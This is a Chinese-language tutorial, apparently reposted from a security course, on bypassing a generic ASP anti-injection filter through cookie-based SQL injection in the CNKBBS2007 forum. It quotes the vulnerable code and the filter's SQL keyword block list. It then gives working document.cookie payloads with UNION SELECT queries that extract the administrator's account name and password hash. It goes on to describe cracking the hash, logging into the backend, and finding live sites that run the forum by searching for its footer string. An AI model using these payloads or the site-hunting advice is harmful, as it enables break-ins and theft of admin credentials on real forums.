cookies的注入基本方法與原理介紹
發(fā)表時(shí)間:2023-07-03 來(lái)源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]現(xiàn)在很多網(wǎng)站都采用了通用防注入程序, 那么對(duì)于這種網(wǎng)站, 我門(mén)是否就束手無(wú)策了呢?答案是否定的, 因?yàn)槲覀兛梢圆捎胏ookie 注入的方法, 而很多通用防注入程序?qū)@種注入方式都沒(méi)有防備。 ...
現(xiàn)在很多網(wǎng)站都采用了通用防注入程序, 那么對(duì)于這種網(wǎng)站, 我門(mén)是否就束手無(wú)策了呢?答案是否定的, 因?yàn)槲覀兛梢圆捎胏ookie 注入的方法, 而很多通用防注入程序?qū)@種注入方式都沒(méi)有防備。
在講之前, 我們還是來(lái)回顧下ASP腳本中Request對(duì)象的知識(shí)吧, 上面幾講中都提到Request對(duì)象獲取客戶(hù)端提交數(shù)據(jù)常用的是GET和POST二種方式, 同時(shí)request對(duì)象可以不通過(guò)集合來(lái)獲得數(shù)據(jù), 即直接使用"request("name")"但它的效率低下, 容易出錯(cuò), 當(dāng)我們省略具體的集合名稱(chēng)時(shí), ASP是按QueryString, from, cookie, servervariable, 集合的順序來(lái)搜索的, 在request對(duì)象成員中集合cookies, 它的意思是"讀取用戶(hù)系統(tǒng)發(fā)送的所有cookie值, 我們從第二講關(guān)于"cookies欺騙入侵和原理"中知道, cookies是保存在客戶(hù)端計(jì)算機(jī)的一個(gè)文本文件, 可以進(jìn)行修改, 這樣一來(lái), 我們就可以使用Request。 cookie方式來(lái)提交變量的值, 從而利用系統(tǒng)的漏洞進(jìn)行注入攻擊。
我們首先還是來(lái)看看中網(wǎng)景論壇的最新版本"(CNKBBS2007)中網(wǎng)景論壇2007v5.0 "官方下載地址"http://www.cnetking.com/websys2.asp?id=26"發(fā)布時(shí)間是2007-06-06,打開(kāi)系統(tǒng)的源代碼后,在"user_RxMsg_detail.asp"文件中,有如下代碼:
<!--#include file="opendb.asp" -->
(調(diào)用opendb.asp文件)
<!--#include file="char.asp" -->
<%
Call CheckUserLogin(username)
Dim action,s,id
id=request("id") (獲取客戶(hù)提交的變量,并賦值給id,并沒(méi)過(guò)濾,也沒(méi)有指定采用那種方式提交)
if id<>"" then Call IsNum(bid) (這是程序員的出現(xiàn)地方,注意bid<>id)
conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '設(shè)置已讀
rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3
我們?cè)俅蜷_(kāi)"opendb.asp"文件
<%Option Explicit
Response.Buffer = true%>
<!--#include file="fzr.asp" --> (調(diào)用fzr.asp文件)
<!--#include file="cnkdata/dbname.asp" -->
<!--#include file="config.asp"-->
..................
以現(xiàn)它是連接數(shù)據(jù)庫(kù)的文件,其中調(diào)用了fzr.asp文件,我們?cè)俅蜷_(kāi)fzr.asp文件
<%
'--------版權(quán)說(shuō)明------------------
'SQL通用防注入程序
'Aseanleung
'--------定義部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (對(duì)Request.QueryString提交(客戶(hù)采用GET方式提交)的數(shù)據(jù)進(jìn)行判斷,并沒(méi)有指明對(duì)其它方式提交的數(shù)據(jù)進(jìn)行判斷)
'自定義需要過(guò)濾的字串,用 " " 分隔
Fy_In = "' ; % * and exec insert select delete update count chr mid master truncate char declare script" (阻止了常用的SQL注入的語(yǔ)句)
Fy_Inf = split(Fy_In," ")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "內(nèi)容含有非法字符!請(qǐng)不要有'或and或or等字符, 請(qǐng)去掉這些字符再發(fā)!!<br>"
Response.Write "如是要攻擊網(wǎng)站, 系統(tǒng)記錄了你的操作↓<br>"
Response.Write "操作IP:"&zruserip&"<br>"
Response.Write "操作時(shí)間:"&Now&"<br>"
Response.Write "操作頁(yè)面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交參數(shù):"&Fy_Get&"<br>"
Response.Write "提交數(shù)據(jù):"&Request.QueryString(Fy_Get)
......................
很明顯的看出它是一個(gè)SQL通用防注入程序文件, (以上的紅字是對(duì)代碼的解釋)
代碼看好了, 我們來(lái)整理下思路:由于程序員的出錯(cuò), 導(dǎo)致了id沒(méi)有被過(guò)濾就被帶到SQL語(yǔ)句中查詢(xún), 這是注入漏洞產(chǎn)生的原因, 雖然程序引入了防注入程序, 阻止了常用的SQL語(yǔ)句使用, 但只對(duì)客戶(hù)采用GET方式提交的數(shù)據(jù)進(jìn)行判斷, 而沒(méi)有對(duì)其它方式提交的數(shù)據(jù)進(jìn)行判斷, 這樣導(dǎo)致了客戶(hù)可以使用Request.cookie方式來(lái)提交變量的值, 而繞過(guò)了SQL防注入程序(總結(jié)下:cookie注入產(chǎn)生的條件:系統(tǒng)直接使用"request("name")"獲取客戶(hù)提交的數(shù)據(jù), 并對(duì)客戶(hù)提交的變量沒(méi)有過(guò)濾, 而且在防注入程序中沒(méi)有限制Request.cookie, 現(xiàn)在防注入程序3.0只是對(duì)客戶(hù)采用GET和POST提交方式進(jìn)行了限制).
原理講好了, 下面我們來(lái)學(xué)學(xué)coolie注入語(yǔ)句吧
cookies的注入語(yǔ)句:alert(document.cookie="id="+escape("這就是asp? id=xx后面xx代表的數(shù)值) and (這里是注入攻擊代碼)"));
這兒用到了javascript語(yǔ)言的知識(shí), 我把這語(yǔ)句的意思分解如下, 以便大家理解:
1:"alert()"顯示信息對(duì)話框的alert()方法, 它生成的是一個(gè)獨(dú)立的小窗口, 稱(chēng)作對(duì)話框, 用來(lái)顯示一條信息和一個(gè)按鈕.(我們?cè)诳缯局谐S玫?
2:"document.cookie"我們?cè)谔幚韈ookie時(shí), javascript將它保存為document對(duì)象的一個(gè)屬性, 其屬性名稱(chēng)是cookie, 利用這個(gè)屬性, 我們可以創(chuàng)建和讀取cookie數(shù)據(jù), 在程序中可以使用:"alert(document.cookie)"調(diào)用當(dāng)前頁(yè)面的cookie數(shù)據(jù)項(xiàng)值.在我們啟動(dòng)瀏覽器打開(kāi)頁(yè)面后, 如果存在相應(yīng)的cookie, 那么它被裝入到document對(duì)象的cookie屬性中, document.cookie屬性采用name=value對(duì)應(yīng)方式保存各個(gè)cookie數(shù)據(jù)項(xiàng)值.document(文檔)對(duì)象表示在瀏覽器里顯示的HTML(向頁(yè)面輸出數(shù)據(jù)), cookie屬性是允許讀寫(xiě)HTTP的cookie;字符串類(lèi)型
4:escape()函數(shù);它將字符串中所有的非字母字符轉(zhuǎn)換為用字母數(shù)字表示的等價(jià)字符串, 具有編碼字符串的功能.一般情況下, cookie通常由服務(wù)器端的程序通過(guò)HTTP請(qǐng)求和響應(yīng)頭發(fā)送給瀏覽器, 但是, 利用javascript, 可以在本地瀏覽器中設(shè)置cookie格式:name=value的屬性是指定cookie數(shù)據(jù)項(xiàng)的名稱(chēng), value是該名稱(chēng)對(duì)應(yīng)的值, 它是一個(gè)字符串, 也可是由一系列字符組成, name和value中不能包含分號(hào), 逗號(hào)及空白, (50"and 1=1")有分號(hào), 逗號(hào)及空白, 所以我們要用到escape()函數(shù)對(duì)他們進(jìn)行編碼
上面整句的意思大家都明白了吧, 就是設(shè)置調(diào)用當(dāng)前創(chuàng)建的cookie數(shù)據(jù)項(xiàng)值, 在設(shè)置cookie時(shí), 它們首先保存在瀏覽器的內(nèi)存中, 退出瀏覽器時(shí), 才能被寫(xiě)入到硬盤(pán)中.(這就是在下面操作中為什么在退出后, 再輸入鏈接的地址原因)
最后我們來(lái)測(cè)試下, 利用步驟:
1:打開(kāi)在本地機(jī)子上架設(shè)的中網(wǎng)景論壇:注冊(cè)一個(gè)用戶(hù), 我們就會(huì)收到管理員發(fā)來(lái)的一條短信息, 我們打開(kāi)短信息的鏈接(注意這兒的參數(shù)id值)
2:把瀏覽器的URL清空, 輸入"alert(document.cookie="id="+escape("相應(yīng)參數(shù)id值 and 1=1"));之后會(huì)彈出一個(gè)框框,
3:再次輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(返回正常的頁(yè)面, 說(shuō)明我們繞過(guò)了SQL防注入程序了)
3:再輸入:alert(document.cookie="id="+escape("1 and 1=2"));然后再輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員(時(shí)間和內(nèi)容都沒(méi)有顯示了, 說(shuō)明我們可以進(jìn)行注入了)
4:通過(guò)查看系統(tǒng)數(shù)據(jù)庫(kù), 得知cnk_users_RxMsg 表里有8個(gè)字段, Cnk_Admin表是存放管理員資料的, 其中AdminName, AdminPassword字段分別對(duì)應(yīng)的是賬號(hào)和密碼, 我們使用聯(lián)合查詢(xún)語(yǔ)句, 再輸入:alert(document.cookie="id="+escape("1 and 1=2 union select 1, 2, 3, 4, 5, 6, 7, 8 from Cnk_Admin"))然后把地址欄清空, 輸入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp, 可經(jīng)看到顯示了數(shù)字4和5
5:再次把地址欄清空, 輸入:alert(document.cookie="id="+escape("1 and 1=2 union select 1, 2, 3, AdminName, AdminPassword, 6, 7, 8 from Cnk_Admin")), 提交后, 清空地址欄, 輸入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=論壇管理員, 這樣我們就在頁(yè)面上看到管理員的密碼和賬號(hào)了
6:把得到的密碼放入http://www.cmd5.com網(wǎng)站查詢(xún), 得知管理員的明文密碼是admin, 在網(wǎng)站的首頁(yè)我們就可進(jìn)行登錄后臺(tái)了, 我們也可利用關(guān)鍵字"Powered by CNKBBS2007 (5.2)"去網(wǎng)上找使用這系統(tǒng)的網(wǎng)站, (不過(guò)不是很多啊)大家去練習(xí)下手工的注入吧, 可別搞在破壞喲!不過(guò)在使用這類(lèi)注入時(shí), 它需要兩次手動(dòng)操作才能完成, 這也是容易出錯(cuò)的地方, 可要細(xì)心才行。
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。